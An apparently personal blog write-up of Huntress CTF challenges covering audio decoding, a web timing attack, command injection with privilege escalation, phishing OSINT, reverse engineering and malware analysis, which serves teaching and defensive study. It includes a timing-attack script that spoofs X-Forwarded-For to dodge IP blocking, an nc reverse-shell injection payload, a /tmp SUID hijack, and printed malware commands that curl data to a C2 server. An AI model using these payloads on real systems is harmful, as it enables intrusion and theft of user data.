I was late registering for the Huntress CTF this year. I joined a week late when there were already thousands of participants across thousands of teams competing to solve cybersecurity challenges as quickly as possible to place in the leaderboards. The Huntress CTF categories this year were in reverse engineering, binary exploitation, malware analysis, OSINT, web, forensics and miscellaneous categories - all categories which I have spent far too much time working in. I played solo and after catching up, consistently placed within the top 10. By the end, I was able to defeat every challenge from every category and wound up winning a limited-edition CTF Huntress T-shirt.
I’ll showcase the approaches I took for my favourite challenge from each category, then briefly discuss my setup and tools. Feel free to download the files and play along!
Day 03
👶 Maximum Sound
I downloaded the file and listened to it. The audio had this repetitive distinctive pattern, and then some distortion in the middle before returning to just the distinctive pattern - this was definitely not music. It almost reminded me of the noises modems would make dialing up to the Internet or sending a fax.
So let’s analyze this file, I loaded the WAV file into Audacity to visualize the spectrogram to see if there were any hidden patterns in the frequency domain. I switched to spectrogram view (Analyze -> Plot Spectrum) hoping to see text or patterns encoded in the frequencies, but it just showed varying frequency bands over time - nothing interesting.
Since it sounded like a modem, I tried a few approaches:
Attempted to decode it with minimodem thinking it might be RTTY, Bell 103, or another audio modem protocol:
minimodem --rx auto -f maximum_sound.wav
Perhaps it’s more obscure, there isn’t a lot of clues that are obvious to me in the description, so I tried loading it into fldigi, a digital mode decoder that supports PSK31, RTTY, and other amateur radio data modes. I then tested it with some FSK/AFSK decoders but nothing worked. The signal pattern didn’t match standard modem protocols.
So it’s learning time now, lets do some research on audio transmission protocols and what else out there kinda sounds like a modem but isn’t… and that is when I came across SSTV (Slow Scan Television) - a method used by ham radio operators to transmit images over audio. Let’s try and decode the signal using the first online SSTV decoder that showed up on Google.
- Uploaded maximum_sound.wav
- Set quality to “Slow - High Quality” to ensure no data loss during decoding
- Waited for it to process (took almost a minute)
- Downloaded the resulting image
The decoder successfully decoded the wav file and produced an image containing what looked like a QR code, but not quite - it had a different pattern with a distinctive bullseye/target center. I tried scanning it with regular QR code readers but got nothing.

After some searching, I learned this was a MaxiCode - a 2D barcode format with that characteristic concentric square pattern in the center.
I uploaded the image to Dynamsoft’s Barcode Reader and it revealed:
Maxicode: flag{d60ea9faec46c2de1c72533ae3ad11d7}
A few takeaways from this challenge… I learned about SSTV, which is a lesser-known protocol for transmitting images over audio - most commonly used in ham radio. MaxiCode is distinct from QR codes by its central bullseye pattern. Spectrum analysis and trying common protocols first is a good debugging approach for unknown audio challenges.
Day 08
🌐 Flag Checker
Accessing the challenge presents a basic website with one input field, which validates whether or not the flag you have submitted is the correct one. I submitted the letter f, the first correct letter for a flag{}, and was returned Not Quite!. Let’s take a look at the headers and see what we sent, and exactly what we got back:
Sent:
:method GET
:path /submit?flag=f
:scheme https
cookie token=c39fc864-8e9a-4690-a2a3-fe1031e72a3c_2_55a8c4448cf4e8af20265bfaad09714be888df59374274066639d660ae1c38aa
user-agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Received:
access-control-allow-origin *
content-encoding gzip
content-type text/html; charset=utf-8
server nginx/1.24.0 (Ubuntu)
x-response-time 0.101387
I noticed the x-response-time header, it made me consider a timing side-channel attack. A timing side-channel attack exploits measurable differences in processing time to leak information about secret data. In this challenge, the server’s flag comparison logic may inadvertently reveal correctness through response delays. To test this lets send fl, which is what should be a second correct character:
Sent:
:method GET
:path /submit?flag=fl
:scheme https
cookie token=c39fc864-8e9a-4690-a2a3-fe1031e72a3c_2_55a8c4448cf4e8af20265bfaad09714be888df59374274066639d660ae1c38aa
user-agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Received:
access-control-allow-origin *
content-encoding gzip
content-type text/html; charset=utf-8
server nginx/1.24.0 (Ubuntu)
x-response-time 0.201407
Yep, the vulnerable code likely compares the submitted flag character by character and the x-response-time seems to increase by about 0.1 seconds for every correct character. Lets test some unknown characters to confirm:
flag{0...x-response-time ~0.5sflag{1...x-response-time ~0.5sflag{2...x-response-time ~0.5sflag{3...x-response-time ~0.5sflag{4...x-response-time ~0.5sflag{5...x-response-time ~0.5sflag{6...x-response-time ~0.5sflag{7...x-response-time ~0.6s (+0.1s)
Seems straight-forward enough so lets write a quick Python script to automate all of the possibilities, take a quick nap - then submit the flag. That’s when the second part of the challenge kicked in… after a few more requests, I was blocked: Stop Hacking!! Your IP Has Been Blocked.
I decided to scan the IP of this host and see if there is anything else going on. Running a port scanner against the web server reveals three open ports:
22: OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 Ubuntu Linux; protocol 2.0
80: nginx 1.24.0 Ubuntu
5000:
I browse to port 5000 and am presented the same page that was being shared on port 80. The response headers have a different server listed:
server Werkzeug/3.1.3 Python/3.11.14
So port 5000 is the Flask backend, maybe it doesn’t have the rate limiting applied? Lets submit a test flag, then update our Python script to bruteforce the flag over port 5000 instead of port 80. I tried to submit a flag and was presented this error message:
X-FORWARDED-FOR Header not present
Fantastic, we now have the next step solved, lets add this header and provide different IP addresses for each request, so we never get our IP blocked.
import requests
import string
url = "http://10.1.56.107:5000/submit"
ip_counter = 0
def get_ip():
global ip_counter
ip_counter += 1
return f"10.{(ip_counter//65536)%256}.{(ip_counter//256)%256}.{ip_counter%256}"
def time_flag(flag):
headers = {"X-FORWARDED-FOR": get_ip()}
r = requests.get(url, params={"flag": flag}, headers=headers)
return float(r.headers.get('X-Response-Time', 0))
charset = string.ascii_lowercase + string.digits + "{}"
known = "flag{"
baseline = time_flag(known)
print(f"[*] Starting timing attack on {url}")
print(f"[*] Baseline time: {baseline:.6f}s\n")
while not known.endswith("}"):
for char in charset:
test_flag = known + char
response_time = time_flag(test_flag)
print(f"Testing: {test_flag} -> {response_time:.6f}s", end='\r')
# timing spike indicates correct character
if response_time - baseline > 0.05:
known += char
baseline = response_time
print(f"\n[+] Found: {known} (baseline: {baseline:.6f}s)\n")
break
print(f"\nFLAG: {known}")
The script uses IP rotation, get_ip() generates sequential IPs (10.0.0.1, 10.0.0.2, …) as insurance against any rate limiting. We use baseline tracking, as we know each correct character increases the baseline by ~100ms. A jump of more than 50ms indicates a correct character, and we continue until we hit the closing }.
The script took ~15-20 minutes to finish running and produce the full flag. Perfect time to work on other challenges. No need for threading complexity to reduce runtime when the script just… works, eventually printing:
FLAG: flag{77ba0346d9565e77344b9fe40ecf1369}
After completing the challenge, I wrote multi-threaded version to see how much faster it would have been:
import requests
import string
from concurrent.futures import ThreadPoolExecutor
url = "http://10.1.56.107:5000/submit"
ip_counter = 0
def get_ip():
global ip_counter
ip_counter += 1
return f"10.{(ip_counter//65536)%256}.{(ip_counter//256)%256}.{ip_counter%256}"
def time_flag(flag):
headers = {"X-FORWARDED-FOR": get_ip()}
r = requests.get(url, params={"flag": flag}, headers=headers)
return float(r.headers.get('X-Response-Time', 0))
charset = string.ascii_lowercase + string.digits + "{}"
known = "flag{"
baseline = time_flag(known)
def test_char(char):
test = known + char
return char, time_flag(test)
while not known.endswith("}"):
with ThreadPoolExecutor(max_workers=16) as executor:
results = list(executor.map(test_char, charset))
best_char, best_time = max(results, key=lambda x: x[1])
if best_time - baseline > 0.05:
known += best_char
baseline = best_time
print(f"[+] Found: {known}")
print(f"\nFLAG: {known}")
Runtime was about ~2 minutes as this tests 16 chars simultaneously per position, if this was the final challenge - this difference would separate first from second, but honestly? I had the flag before most people even found port 5000. The simple approach was more than fast enough for day 8.
A couple takeaways - timing attacks work. Character-by-character comparison leaks information through processing time and observable delays create a measurable side-channel, even small timing differences (100ms) are detectable and exploitable over network.
To defend against these types of attacks, use constant-time comparison: hmac.compare_digest() or similar. Add random delays; jitter masks timing patterns, and as for the rate limiting - don’t expose your backend.
Also when given a host or an IP, gain as much information as you can. A port scan is a good start as alternate ports may have different protections. Measure everything - timing, size, error messages all leak information.
Day 15
⚙️ Phasing Through Printers
root user’s home directory.phasing_through_printers.Lets start with extracting the challenge files and reviewing what we have here:
7z x -pphasing_through_printers phasing_through_printers.zip
The archive contains two files:
cgi-bin/search.c- CGI source codewww/index.html- Basic web interface
The web interface is just a simple search form that queries printer drivers. Let’s look at the CGI script that handles the search.
Opening up search.c, I immediately spotted something suspicious in how it handles user input:
cstrcpy(combinedString, first_part);
strcat(combinedString, decoded);
strcat(combinedString, last_part);
This builds the command grep -R -i [USER_INPUT] /var/www/html/data/printer_drivers.txt. User input is concatenated directly into a shell command without sanitization, a classic command injection vulnerabilitiy. I can use shell metacharacters like ; to inject arbitrary commands.
Let’s test command injection with a reverse shell. I setup a listener on my Kali box:
$ nc -lvnp 80
Then sent this payload to the vulnerable CGI script:
;nc -c sh 10.200.12.66 80;
http://10.1.41.178/cgi-bin/search.cgi?q=%3Bnc+-c+sh+10.200.12.66+80;
Got a connection, but only a basic shell - so I upgraded it to something more usable:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Now I’ve got a proper interactive shell, but I’m running as the web server user. I need to escalate to root to get the flag in /root/flag.txt.
The first thing I check when looking for privilege escalation - SUID binaries:
find / -perm -u=s -type f 2>/dev/null
and I found something interesting: /usr/local/bin/admin_help with the SUID bit set and owned by root. Let’s see what it does:
Your wish is my command... maybe :)
Error opening original file: No such file or directory
Bad String in File.
Interesting message… let me check what this binary is actually trying to do, using strings on the binary reveals:
chmod +x /tmp/wish.sh && /tmp/wish.sh
Nice, the binary executes /tmp/wish.sh as root (because of the SUID bit) and /tmp is world-writable, so I can create my own wish.sh script:
echo "cat /root/flag.txt" > /tmp/wish.sh
Then executed the SUID binary:
/usr/local/bin/admin_help
Your wish is my command... maybe :)
flag{93541544b91b7d2b9d61e90becbca309}
Perfect! The script ran as root and gave us the flag.
This challenge demonstrated two common vulnerabilities:
- Command Injection: User input concatenated directly into shell commands without sanitization. The fix is to properly validate and sanitize input, or better yet, avoid shell commands entirely and use language-native functions.
- SUID Misconfiguration: Never make binaries SUID if they execute scripts from world-writable directories like
/tmp. Anyone can replace the script and execute arbitrary code as root. The binary should either check file ownership/permissions or use absolute paths in non-writable locations.
Day 21
🕵️ Follow the Money
follow_the_money.It seems we’re investigating a money fraud case involving Harbor Line Bank and a suspicious real estate transfer. Let’s see what we’re working with, by first extracting the archive:
7z x -pfollow_the_money follow_the_money.zip
Looks like the archive contains 5 .eml files - email correspondence between:
- Justin Case (
[email protected]) - Evelyn Carter (
[email protected])
I opened each email and started reading through the conversation. Most of them looked like normal business correspondence about real estate transfers. The emails consistently referenced this link for submitting transfer information:
https://evergatetitle.netlify.app/
However, email 5 contains a typosquatted domain:
https://evergatetltle.netlify.app/
Note the difference: title and tltle (classic homoglyph attack replacing ‘i’ with ’l’).
I visited the fake site and submitted some dummy transfer data. The response was interesting:
Thanks for giving me your bank! Your friend,
aHR0cHM6Ly9uMHRydXN0eC1ibG9nLm5ldGxpZnkuYXBwLw==
That’s base64. Let me decode it:
$ echo 'aHR0cHM6Ly9uMHRydXN0eC1ibG9nLm5ldGxpZnkuYXBwLw==' | base64 -d
https://n0trustx-blog.netlify.app/
A blog? The attacker is just… giving us their blog? Let’s check it out.
The blog had various posts about security topics, but more importantly, it linked to a GitHub profile: https://github.com/N0TrustX
So our first answer is the hacker’s username is definitely: N0TrustX
Looking through their repositories, one caught my eye: Spectre. I cloned it and started poking around the code. In spectre.html at line 122, there was a hidden div:
<div id="encodedPayload" class="hidden">
ZmxhZ3trbDF6a2xqaTJkeWNxZWRqNmVmNnltbHJzZjE4MGQwZn0=
</div>
Another base64 string. Lets decode that one too:
$ echo 'ZmxhZ3trbDF6a2xqaTJkeWNxZWRqNmVmNnltbHJzZjE4MGQwZn0=' | base64 -d
flag{kl1zklji2dycqedj6ef6ymlrsf180d0f}
There’s our flag! Looking back at the whole attack:
- Attacker registered a typosquatted domain (
evergatetltleinstead ofevergatetitle) - Sent a phishing email to Evelyn with the fake link
- Victim submitted real estate transfer details to the fake site
- Attacker intercepted the banking information
- Left breadcrumbs to their blog and GitHub profile (probably for bragging rights?)
The typosquatting was clever because in email fonts, “tltle” and “title” look almost identical. It’s something you might not catch unless you were specifically looking for phishing indicators.
Day 22
⚙️ NimCrackMe1
Started with basic file analysis:
PE32+ executable for MS Windows 5.02 (console), x86-64, 19 sections
A 64-bit Windows executable compiled from the Nim programming language, not a language I’m overly familiar with but lets dig into it.
I loaded the binary into Binary Ninja, the main function was empty but I found the real entry point: main__crackme_u20 at 0x140012b84.
Decompiled code revealed three key operations:
cbuildEncodedFlag__crackme_u18(&encoded_flag);
xorStrings__crackme_u3(&decoded_flag, &xor_key, encoded_flag);
if (unix_timestamp == 0) {
print(decoded_flag);
} else {
print("Nope!");
}
The anti-debug trick checks if the Unix timestamp is 0 (January 1, 1970) - a telltale sign of analysis tools or VMs with default times. Clever, but we can bypass this entirely by extracting the encrypted data and key.
The buildEncodedFlag__crackme_u18 function was a mess of nested conditionals, but it’s just building a 38-byte array:
encoded = [
0x28, 0x05, 0x0c, 0x47, 0x12, 0x4b, 0x15, 0x5c,
0x09, 0x12, 0x17, 0x55, 0x09, 0x4b, 0x42, 0x08,
0x55, 0x5a, 0x45, 0x58, 0x44, 0x57, 0x45, 0x77,
0x5d, 0x54, 0x44, 0x5c, 0x45, 0x13, 0x59, 0x5b,
0x47, 0x42, 0x5e, 0x59, 0x16, 0x5d
]
Each block in the decompiled code was just assigning a byte to string[index]. Extracted the 38 bytes manually.
In main__crackme_u20, I spotted references to global variables:
cv1[1] = &TM__cGo7QGde1ZstH4i7xlaOag_4;
xorStrings__crackme_u3(&decoded, &encoded, v1);
Jumped to address 0x140021ae0 in Binary Ninja and found:
4e 69 6d 20 69 73 20 6e 6f 74 20 66 6f 72 20 6d 61 6c 77 61 72 65 21
ASCII decoded: Nim is not for malware!
With both the encoded flag and XOR key in hand, wrote a quick solver:
encoded = [
0x28, 0x05, 0x0c, 0x47, 0x12, 0x4b, 0x15, 0x5c,
0x09, 0x12, 0x17, 0x55, 0x09, 0x4b, 0x42, 0x08,
0x55, 0x5a, 0x45, 0x58, 0x44, 0x57, 0x45, 0x77,
0x5d, 0x54, 0x44, 0x5c, 0x45, 0x13, 0x59, 0x5b,
0x47, 0x42, 0x5e, 0x59, 0x16, 0x5d
]
key = "Nim is not for malware!"
flag = ""
for i, byte in enumerate(encoded):
flag += chr(byte ^ ord(key[i % len(key)]))
print("Decoded flag:", flag)
This prints our flag: flag{852ff73f9be462962d949d563743b86d}
The challenge wrapped a simple repeating-key XOR cipher in an anti-analysis trick. The timestamp check (if unix_time == 0) was designed to catch researchers running the binary in sandboxes or debuggers, showing only a decoy message in normal environments.
By extracting the hardcoded data statically, I bypassed the check entirely. No need to patch the binary - just pure static analysis and a simple XOR loop.
Day 25
🐞 My Hawaii Vacation
This challenge starts off providing us access to an instanced website, a quick review of the site makes me believe that this is a phishing landing page. The only option here seems to be fill in the details, and submit the form on the screen.
With DevTools open, we see that submitting this form makes a GET request to /downloads which prompts for a download of Booking - ID Verification.exe. So, the fake landing page doesn’t seem to store or care about the details we entered, they only want us to download and run this malware, so lets close the page for now and focus on this potential malware. I have attached this file to the challenge description, which it was not originally part of.
The important warning above is indeed an important one, not only are we accessing this malware from a contained virtual machine - we’re going to run it through an online malware analysis sandbox. This will execute the program and create a report detailing what changes or network requests the application made, here is the analysis I ran.
So lets analyze what this program did. The first interesting command creates a temporary folder named C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25:
C:\WINDOWS\system32\cmd.exe /c cmd /c if not exist "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25" mkdir "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25" >nul 2>&1
Next, it downloads 7-Zip and saves it as e3e5f2e77290fd4e.exe in the temporary folder:
C:\WINDOWS\system32\cmd.exe /c curl -fL -sS --connect-timeout 30 -o "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\e3e5f2e77290fd4e.exe" "https://7-zip.org/a/7zr.exe"
A PowerShell command enumerates user accounts and their SIDs:
C:\WINDOWS\system32\cmd.exe /c powershell.exe -NoProfile -Command "Get-CimInstance -ClassName Win32_UserAccount | Where-Object { Test-Path (Join-Path -Path 'C:\Users' -ChildPath $_.Name) } | Select-Object Name,SID | Format-List"
The admin user’s SID is then exported to a .log file:
C:\WINDOWS\system32\cmd.exe /c powershell.exe -NoProfile -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1693682860-607145093-2874071422-1001').Sid > C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_admin.log"
The malware checks in with the command and control (C2) server:
C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1
The SID log file is uploaded using HTTP basic authentication (note the credentials prometheus:PA4tqS5NHFpkQwumsd3D92cb):
C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} -u "prometheus:PA4tqS5NHFpkQwumsd3D92cb" -F "file=@C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_admin.log" "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1
The entire admin user profile is compressed into a password-protected archive disguised as an MP3 file, using the user’s SID as the password:
C:\WINDOWS\system32\cmd.exe /c cmd /c C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\e3e5f2e77290fd4e.exe a -p"S-1-5-21-1693682860-607145093-2874071422-1001" "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_admin.mp3" "C:\Users\\admin\\*" >nul 2>&1
Another check-in to the C2 server:
C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1
The compressed profile archive is exfiltrated to the C2 server:
C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} -u "prometheus:PA4tqS5NHFpkQwumsd3D92cb" -F "file=@C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_admin.mp3" "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1
The process repeats for the Administrator account - first exporting the SID:
C:\WINDOWS\system32\cmd.exe /c powershell.exe -NoProfile -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1693682860-607145093-2874071422-500').Sid > C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_Administrator.log"
Another C2 check-in:
C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1
Uploading the Administrator’s SID log:
C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} -u "prometheus:PA4tqS5NHFpkQwumsd3D92cb" -F "file=@C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_Administrator.log" "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1
And finally, compressing and exfiltrating the Administrator profile with the Administrator’s SID as the password:
C:\WINDOWS\system32\cmd.exe /c cmd /c C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\e3e5f2e77290fd4e.exe a -p"S-1-5-21-1693682860-607145093-2874071422-500" "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_Administrator.mp3" "C:\Users\\Administrator\\*" >nul 2>&1
So this malware is targeting two separate user accounts, the admin user account (SID ending in -1001) which is a regular user account, and the Administrator account (SID ending in -500) which is the built-in Administrator account. For each account, it follows the same process, export the SID to a log file, check in with the C2 server, upload the SID log file, compress the entire user profile using that account’s SID as the password, check in with the C2 again, upload the compressed profile. So it’s essentially doing the same exfiltration routine twice - once for each user account it finds on the system. The -500 SID is the well-known identifier for the built-in Administrator account on Windows systems.
Let’s login to that site with the newly acquired username prometheus and password PA4tqS5NHFpkQwumsd3D92cb. We see two files WINDOWS11-Administrator.log and WINDOWS11-Administrator.zip. These files are presumably the uploaded SID and profile of the vacationer, lets download and review them.
Opening the .log file confirms our expectation, it contains an SID, displayed here as rendered from the registry:1 5 0 0 0 0 0 5 21 0 0 0 18 239 154 226 242 155 126 245 147 116 180 120 244 1 0 0
We are looking for the flag.txt on the Desktop of this user, lets go get that. Open up the .zip file and confirm that it contains our flag.txt and that it is password locked. That is indeed the case, lets convert this .log file text back into an SID and use it as a password for the .zip file.
Windows stores Security Identifiers (SIDs) in the registry as binary data for efficiency, but displays them as human-readable strings like S-1-5-21-1234567890-.... Understanding this conversion is important because the malware exported these binary SIDs to log files.
SID strings follow this format:
S-1-<IdentifierAuthority>-<SubAuthority1>-<SubAuthority2>-...
The binary format stores this same information in a compact structure:
- Revision (1 byte): Always 1
- Sub-authority count (1 byte): Number of sub-authorities
- Identifier Authority (6 bytes): Top-level authority (usually NT Authority = 5)
- Sub-authorities (4 bytes each): Variable number of DWORD values in little-endian format
Let’s parse the binary SID from the log file:
Byte 0: 1 = Revision
Byte 1: 5 = Sub-authority count (5 sub-authorities)
Bytes 2-7: 0 0 0 0 0 5 = Identifier Authority (NT Authority = 5)
Bytes 8-11: 21 0 0 0 = Sub-authority 1 (little-endian DWORD = 21)
Bytes 12-15: 18 239 154 226 = Sub-authority 2
Bytes 16-19: 242 155 126 245 = Sub-authority 3
Bytes 20-23: 147 116 180 120 = Sub-authority 4
Bytes 24-27: 244 1 0 0 = Sub-authority 5 (RID)
Each sub-authority is stored as a 4-byte little-endian DWORD (least significant byte first). To convert to decimal:
Sub-authority 2: 18 239 154 226
= (18) + (239 × 256) + (154 × 65,536) + (226 × 16,777,216)
= 3801804562
Sub-authority 3: 242 155 126 245
= (242) + (155 × 256) + (126 × 65,536) + (245 × 16,777,216)
= 4118715378
Sub-authority 4: 147 116 180 120
= (147) + (116 × 256) + (180 × 65,536) + (120 × 16,777,216)
= 2025096243
Sub-authority 5 (RID): 244 1 0 0
= (244) + (1 × 256)
= 500
Final SID: S-1-5-21-3801804562-4118715378-2025096243-500
The RID of 500 is significant-it’s the well-known SID for the built-in Administrator account on Windows systems.
We can verify this conversion programmatically using Python, this is the script I used in the competition:
import win32security
binary_sid = bytes([1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 18, 239, 154, 226, 242, 155, 126, 245, 147, 116, 180, 120, 244, 1, 0, 0])
sid = win32security.SID(binary_sid)
print(sid) # S-1-5-21-3801804562-4118715378-2025096243-500
We can now use this SID as a password to extract the flag.txt from the .zip file and open it up, sure enough it contains the flag:
flag{0a741a06d3b8227f75773e3195e1d641}
Day 26
🔍 Puzzle Pieces Redux
So I extracted puzzle_pieces_redux.7z and got 16 binary files. Let’s see what we’re working with:
$ file *
4fb72a1a24.bin: MS-DOS executable, MZ for MS-DOS
5e47.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
5fa.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
7b217.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
8c14.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
24b429c2b4f4a3c.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
53bc247952f.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
8208.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
945363af.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
a4c71d6229e19b0.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
aa60783e.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
c8c5833b33584.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
c54940df1ba.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
d2f7.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
e1204.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
f12f.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
PE32 executables for MS Windows, all 117KB each. They’re all the same size, which seems suspicious, lets look for some readable strings:
$ strings *.bin | grep -i flag
flag_part_2.pdb
flag_part_1.pdb
flag_part_3.pdb
flag_part_2.pdb
flag_part_4.pdb
flag_part_5.pdb
flag_part_6.pdb
flag_part_1.pdb
flag_part_0.pdb
flag_part_4.pdb
flag_part_5.pdb
flag{
flag_part_0.pdb
flag_part_7.pdb
flag_part_7.pdb
flag_part_3.pdb
flag_part_6.pdb
I can see flag{ in one of the files, and there are also references to .pdb files (debugging symbols) mentioning different parts. So each executable probably contains a fragment of the flag, but I’ve got 16 files here, and duplicate parts.
Let’s get the flag fragments out of the other files, they’re all the same size, so lets see where flag{ was written and let’s compare that to the other files. I opened a few of the executables in a hex editor and noticed a consistent pattern… there was a 16-byte header followed by the flag fragment, terminated by a 0x0A byte. The location was the same across all files.
So I wrote a quick Python script to extract the fragments directly from the binary data:
import os
import glob
flag_parts = []
for filepath in sorted(glob.glob("*.bin")):
with open(filepath, 'rb') as f:
data = f.read()
# Find the pattern: 16 bytes of header, then flag content until 0A
# Looking for: 40 10 40 00 40 10 40 00 00 00 00 00 00 00 00 00
header = b'\x40\x10\x40\x00\x40\x10\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00'
idx = data.find(header)
if idx != -1:
# Start after the header
start = idx + len(header)
# Find the end marker (0A)
end = data.find(b'\x0A', start)
if end != -1:
fragment = data[start:end].decode('ascii', errors='ignore')
flag_parts.append(fragment)
print(f"{filepath}: {fragment}")
Running this extracts all the fragments:
$ python solve.py
24b429c2b4f4a3c.bin: 5abfa
53bc247952f.bin: f18ba
5e47.bin: 88a2d
5fa.bin: 5f93f
7b217.bin: e6817
8208.bin: be7a1
8c14.bin: 48979
945363af.bin: f9f73
a4c71d6229e19b0.bin: 49f8b
aa60783e.bin: d9c1a
c54940df1ba.bin: 02}
c8c5833b33584.bin: flag{
d2f7.bin: 23c
e1204.bin: d85d5
f12f.bin: 9bfc2
Awesome, we have a list of flag fragments and a potential order which these belong, let’s organize these and see what we’re left with:
import itertools
# Define options for each placeholder
sections = {
1: ["flag{"],
2: ["be7a1", "88a2d"],
3: ["e6817"],
4: ["d85d5", "5f93f"],
5: ["49f8b", "48979"],
6: ["d9c1a", "5abfa"],
7: ["9bfc2", "f18ba"],
8: ["02}"]
}
# Template for substitution
template = "{1}{2}{3}{4}{5}{6}{7}{8}"
# Generate all combinations
keys = sorted(sections.keys())
all_combinations = itertools.product(*(sections[k] for k in keys))
# Build results
results = []
for combo in all_combinations:
filled = template
for i, val in enumerate(combo, 1):
filled = filled.replace(f"{{{i}}}", val)
results.append(filled)
# Print them all
for r in results:
print(r)
print(f"\nTotal combinations: {len(results)}")
This script shows we have duplicates for flag part 2, 4, 5, 6, and 7, giving us these 32 flag possibilities:
$ python solve.py
flag{be7a1e6817d85d549f8bd9c1a9bfc202}
flag{be7a1e6817d85d549f8bd9c1af18ba02}
flag{be7a1e6817d85d549f8b5abfa9bfc202}
flag{be7a1e6817d85d549f8b5abfaf18ba02}
flag{be7a1e6817d85d548979d9c1a9bfc202}
flag{be7a1e6817d85d548979d9c1af18ba02}
flag{be7a1e6817d85d5489795abfa9bfc202}
flag{be7a1e6817d85d5489795abfaf18ba02}
flag{be7a1e68175f93f49f8bd9c1a9bfc202}
flag{be7a1e68175f93f49f8bd9c1af18ba02}
flag{be7a1e68175f93f49f8b5abfa9bfc202}
flag{be7a1e68175f93f49f8b5abfaf18ba02}
flag{be7a1e68175f93f48979d9c1a9bfc202}
flag{be7a1e68175f93f48979d9c1af18ba02}
flag{be7a1e68175f93f489795abfa9bfc202}
flag{be7a1e68175f93f489795abfaf18ba02}
flag{88a2de6817d85d549f8bd9c1a9bfc202}
flag{88a2de6817d85d549f8bd9c1af18ba02}
flag{88a2de6817d85d549f8b5abfa9bfc202}
flag{88a2de6817d85d549f8b5abfaf18ba02}
flag{88a2de6817d85d548979d9c1a9bfc202}
flag{88a2de6817d85d548979d9c1af18ba02}
flag{88a2de6817d85d5489795abfa9bfc202}
flag{88a2de6817d85d5489795abfaf18ba02}
flag{88a2de68175f93f49f8bd9c1a9bfc202}
flag{88a2de68175f93f49f8bd9c1af18ba02}
flag{88a2de68175f93f49f8b5abfa9bfc202}
